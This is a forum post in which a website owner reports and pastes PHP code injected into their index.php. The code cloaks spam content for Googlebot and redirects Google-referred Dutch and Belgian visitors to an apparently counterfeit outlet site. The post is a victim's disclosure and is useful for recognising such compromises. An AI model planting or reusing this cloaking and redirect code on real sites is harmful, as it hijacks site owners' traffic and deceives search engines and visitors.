Post by websiteworld » Mon Feb 15, 2016 8:18 am

The code below was added to my index.php page. It was not noticed because it only shows the page to GoogleBot, not visitors! Very clever! I discovered it after doing a fetch/render of the page in Google Webmaster tools and it showed two different pages on how the page appeared to GoogleBot and how it appeared to a Visitor. the visitor page was as expected, but the Googlebot was seeing a page promoting a third party site!
$lang = "";
if ($_SERVER['HTTP_ACCEPT_LANGUAGE']) {
$wifilangs = split(";", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
$wifilangs = split(",", $wifilangs[0]);
$lang = $wifilangs[0];
}
$jump = "http://www.moncleroutletnl2013.com";
$mirror = "http://www.jewelrysliver.com/Content.aspx?id=5493";
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
if (preg_match("/(googlebot)/i", $_SERVER['HTTP_USER_AGENT'])) {
if (stripos($mirror, "http://") === false) {
if (file_exists($mirror)) {
readfile($mirror);
exit();
}
} else {
echo(GetHttpPage($mirror));
exit();
}
} else if (preg_match("/google/i", $referer) && $jump != "" ) {
if (!preg_match("/zh/i", $lang)) {
$terms = array();
array_push($terms, "google.nl");array_push($terms, "google.be");
if (count($terms) > 0) {
foreach ($terms as $term) {
if (stripos($referer, $term) > 0) {
header('Location: ' . $jump);
exit();
}
}
} else {
header('Location: ' . $jump);
exit();
}
}
}

User avatar
New member

Posts

Joined
Thu Oct 18, 2012 3:11 am

Who is online

Users browsing this forum: No registered users and 33 guests